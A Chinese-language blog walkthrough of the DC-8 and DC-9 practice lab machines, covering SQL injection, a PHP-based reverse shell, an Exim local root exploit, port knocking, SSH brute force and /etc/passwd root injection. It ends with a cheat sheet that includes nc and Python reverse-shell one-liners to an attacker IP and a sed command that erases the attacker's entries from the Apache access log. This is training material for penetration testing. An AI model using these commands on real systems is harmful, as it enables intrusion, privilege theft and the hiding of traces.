image-20241114112949493

nmap主机探测

nmap -sP 192.168.209.0/24

image-20241114113606201

端口扫描

nmap 192.168.209.139

image-20241114170433946

访问80端

image-20241114113646727

随便点点

image-20241114113727856

注入payload,sql语句错误,存在sql注入漏洞

' and 1=1 --+

image-20241114113742359

目录扫描,到 robots.txt

image-20241114170716727

访问有个user/login

image-20241114130333453

sqlmap的payload

sqlmap -u 'http://192.168.209.139/?nid=1' -p nid -D d7db --tables

image-20241114125637560

得到两个用户的hash密码, john 暴力破解

image-20241114125744289

得到第二行的密码

image-20241114125704689

登录

image-20241114172009687

这里有一个联系我们,提交一下看看

image-20241114135907528

看到了提交成功后的内容

image-20241114135921448

点击这里有个Webform

image-20241114172326556

找到Form settings,并修改PHP code

image-20241114141833277

但是遇到个问题,修改后,这里没有直接输出我echo的内容

image-20241114141904617

直到我添加了一个标签

image-20241114141941166

就正常输出了,证明了可以执行php代码,那么就可以反弹shell

image-20241114142024204

打开谷歌插件,HackTools,复制反弹shell命令,当然没有的话,小羽我已经给你们准备好了

下载链接:

image-20241114142204814

复制粘贴到命令执行函数中就好

image-20241114142715929

攻击机开启监听

image-20241114142550415

反弹四百

image-20241114142609786

尝试nc

image-20241114142842355

image-20241114142856535

创建一个交互式终端

python -c 'import pty; pty.spawn("/bin/bash")'

image-20241114143457238

查找具有SUID的文件

SUID:当一个可执行文件被设置了SUID权限后,该文件将以文件所有者的权限而不是执行者的权限来运行。(仅执行,不包括修改)

find / -perm -4000 -print 2>/dev/null

image-20241114145701296

这个命令的各个部分解释如下:

  • find /:从根目录/开始搜索。
  • -perm -4000:查找具有SUID权限的文件。SUID权限允许用户以文件所有者的权限执行该文件,而不是以用户自己的权限执行。这里的-4000表示设置用户ID位(SUID位)。
  • -print:将找到的文件路径打印到标准输出。这实际上是find命令的默认行为,所以-print可以省略。
  • 2>/dev/null:将标准错误(文件描述符2)重定向到/dev/null。这意味着如果find命令在执行过程中遇到任何错误(比如权限不足无法访问某个目录),这些错误信息将不会被显示。

在Linux系统中,/sbin文件夹通常包含了一系列系统管理员使用的可执行命令,那么就可以直接利用这命令/软件,来提权

image-20241114150946994

查找版本,为4.89

image-20241114151049742

查找漏洞,Privilege Escalation权限提升,编号 46996.sh

image-20241114152218458

搜索编号

image-20241114152758146

将这个paload文件复制到 /data下面

image-20241114152735814

用python开启服务器

image-20241114153034977

当前文件夹没有写权限,下载不了

image-20241114153441974

我们返回根目录,查看文件夹权限,发现一个其他用户具有写权限的目录

image-20241114153503724

切换到/tmp目录下,下载文件

wget http://192.168.209.137:8888/46996.sh

image-20241114153529081

下载成功,附加执行权限,默认没有执行权限的

image-20241114160851896

查看这个46996.sh文件提示,包含了使用过程

image-20241114160223761

执行提权脚本

./46996.sh -m netcat

image-20241114154205254

提权成功

image-20241114154121768

还感兴趣的,可以继续深入,把网站的请求日志文件内容删除,以及其他的隐蔽方式,时间比较有限,就不做讲解了,后续深入

DC-9靶机

image-20241117203245579

随便点点有个搜索框

image-20241117213655879

fuzz大法

image-20241117203631196

image-20241117203656594

存在sql注入

image-20241117203802822

复制请求包,到一个文件里面,使用sqlmap跑,因为这是post请求

image-20241117204210508

image-20241117204322362

admin/transorbital1

image-20241117204359589

image-20241117204439569

我们并不知道网站的绝对路径在哪,这里使用默认的试试

image-20241117204855146

os-shell获取失败,看样子mysql不允许向外部写入文件

image-20241117204922180

这里提示了一个文件不存在,那么我们就猜测这里可能有一个get请求的file参数没有传

image-20241117210721533

普通文件包含

image-20241117211113400

看样子源码是路径拼接的

image-20241117210640249

仔细分析上面包含的文件和这个users表中的数据

image-20241117212214979

基本上所有的注入点都没了,只剩下这个东西了

image-20241117212251112

试试ssh爆破

image-20241117212811704

ssh也不行了,服务被禁用了

image-20241117212902234

普通的渗透思路,已经没了,查了一些资料后,找到一个“敲门”服务。。

如果存在knockd服务。
该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。
不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全

//配置文件路径
默认配置文件是:/etc/knockd.conf 

image-20241117215025409

//自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了
//命令如下:
nmap 192.168.209.145 -p 7469
nmap 192.168.209.145 -p 8475
nmap 192.168.209.145 -p 9842
//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问

image-20241117215234568

这个时候再去爆破ssh连接即可

image-20241117215806034

chandler

image-20241117220247154

joeyt

image-20241117220441511

sudo也不行

image-20241117220743950

隐藏文件的查看,第一个和第二个用户没有找到什么

image-20241117221448447

找到第三个用户janitor,下面有一个隐藏文件,貌似是一个密码记录

image-20241117221421640

添加到刚刚ssh的爆破字典,多了一个新用户

image-20241117222004875

SUID文件也没找到什么,试试sudo,之前几个用户都不能用,这个可以

sudo -l :查看能使用sudo执行的root文件

image-20241117222405966

执行的时候,提示我们有一个 py 文件

image-20241117223010416

查看test.py源码

image-20241117224221627

这样我们就可以得到一个思路,将一个文件内容(root组用户的信息)追加到 /etc/passwd 文件中,就能提权。此时我们使用 openssh 生成一个带盐的密码,admin

image-20241117224458096

查看root用户的结构信息

image-20241117224623855

构造如下内容,写入到 /tmp/user.txt

admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash

可以看到没有新增用户

image-20241117224849532

执行这个文件,还是提示没有权限

image-20241117225311337

加上sudo,为什么加上sudo就可以了,因为sudo -l中包含了这个文件,所以sudo可以应用到这个文件

image-20241117225346090

追加成功(这里红框有错误,后面那个root位置应该是 admin:/root:/bin/bash )

image-20241117225625542

su切换用户即可 admin/admin

image-20241117230304285

总结

本系列常用的命令

# nc
nc 111.111.111.111 4444 -e /bin/bash
nc -lvvp 4444

# python
python -c "import pty; pty.spwan('/bin/bash')" # 创建交互式终端
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' # python反弹sehll
python -m http.server # 开启一个微型的http服务,通常用于文件传输

# find
find / -perm -4000 -print 2>/dev/null # 查找SUID文件 
find / -type f -user alice 2>/dev/null # 查找所有alice拥有的文件
find / -type d -user alice 2>/dev/null # 查找所有alice拥有的文件夹

compgen -c # 查找可用命令

# sudo
sudo -l

# sed
sed -i '/192.168.209.1/d' /var/log/apache2/access.log # 这条命令会直接在原文件中删除所有包含`192.168.209.1`的行。`-i`选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志

# nmap
nmap -sS 111.111.111.111 -p- # 全端口SYN扫描
nmap -sSV 111.111.111.111 -p- -O # 全端口SYN扫描,并扫描操作系统,以及每个端口服务的版本信息。
nmap -sP 192.168.209.0/24  # -sP这个选项是用来指定一个主机发现方法。

# whatweb
whatweb -v 192.168.209.157 # 找到目标cms的版本和其他信息。

# wpscan
wpscan --url http://dc-2/-e u # 枚举当前wordpress中所有可能的用户名
wpscan --url http://dc-2/-U users.txt -P passwd.txt # 使用wpscan爆破wordpress后台密码

# msf 
run -j # 将会话监听在后台
payload/php/meterpreter/reverse_tcp # php反弹shell的payload

# mysql
select * from usersG; # 格式化显示的数据,变得好看一点

# searchsploit
searchsploit content # 检索指定内容的漏洞
searchsploit -p 编号 # 根据exp编号找到exp所在的位置

# 本系列用到的一些文件
/etc/passwd # 存储用户信息
/var/log/apache2/access.log # apache访问日志文件
/var/log/apache2/error.log # apache错误日志文件
/usr/share/wordlists/rockyou.txt # kali中的强大密码字典
/etc/knockd.conf # knockd(开门)服务的配置文件
/etc/shells # 可用的shell
/etc/os-release # 操作系统信息

# sqlmap
略

本系列提权方式

git提权

sudo git help config
!/bin/bash 或 !'sh' #完成提权 
## 或者
sudo git -p help 
!/bin/bash #输入!/bin/bash 即可打开一个用户为root的shell

nmap+sudo提权

echo "os.execute('/bin/bash')" > /tmp/TF
sudo nmap --script=/tmp/TF

Exim4邮件服务器的本地提权

指定版本的exim邮件服务器才会有这个漏洞,利用exp

Knockd服务的隐藏端口开启漏洞

如果存在knockd服务。

该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。

不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全

//配置文件路径
默认配置文件是:/etc/knockd.conf

利用nmap访问指定端口后,此时就能开启/关闭配置的指定端口服务

/etc/passwd提权

/etc/passwd文件提权,攻击者需要能够修改该文件,并添加或修改一个用户条目,使其具有root权限。通常直接复制root用户的信息,修改关键信息,比如

# root源信息
root:x:0:0:root:/root:/bin/bash
# 修改后,x为密码,留x则密码保存在/etc/shadow文件中,不留则就在这个/etc/passwd中
admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash

rbash逃逸

tom@DC-2:~$ export PATH=$PATH:/bin/   # 直接添加环境变量
rbash: PATH: readonly variable        # rbash
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a    # 把/bin/sh给a
$ /bin/bash
tom@DC-2:~$ su                        # 这里修改了BASH_CMDS的值后并不能直接使用su命令
bash: su: command not found         
tom@DC-2:~$ export PATH=$PATH:/bin/   # 添加环境变量
tom@DC-2:~$ su jerry                  # su 正常使用
Password:
jerry@DC-2:/home/tom$ 

EXP提权

使用searchsploit检索漏洞exp即可

find提权

find / -exec "/bin/sh" ;

往期推荐

【渗透测试】linux隐身登录

24年6月版本AWVS激活,AWVS漏洞扫描工具安装以及基本使用教程

开箱即用!265种windows渗透工具合集–灵兔宝盒

【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
THE END
喜欢就支持一下吧
点赞8 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容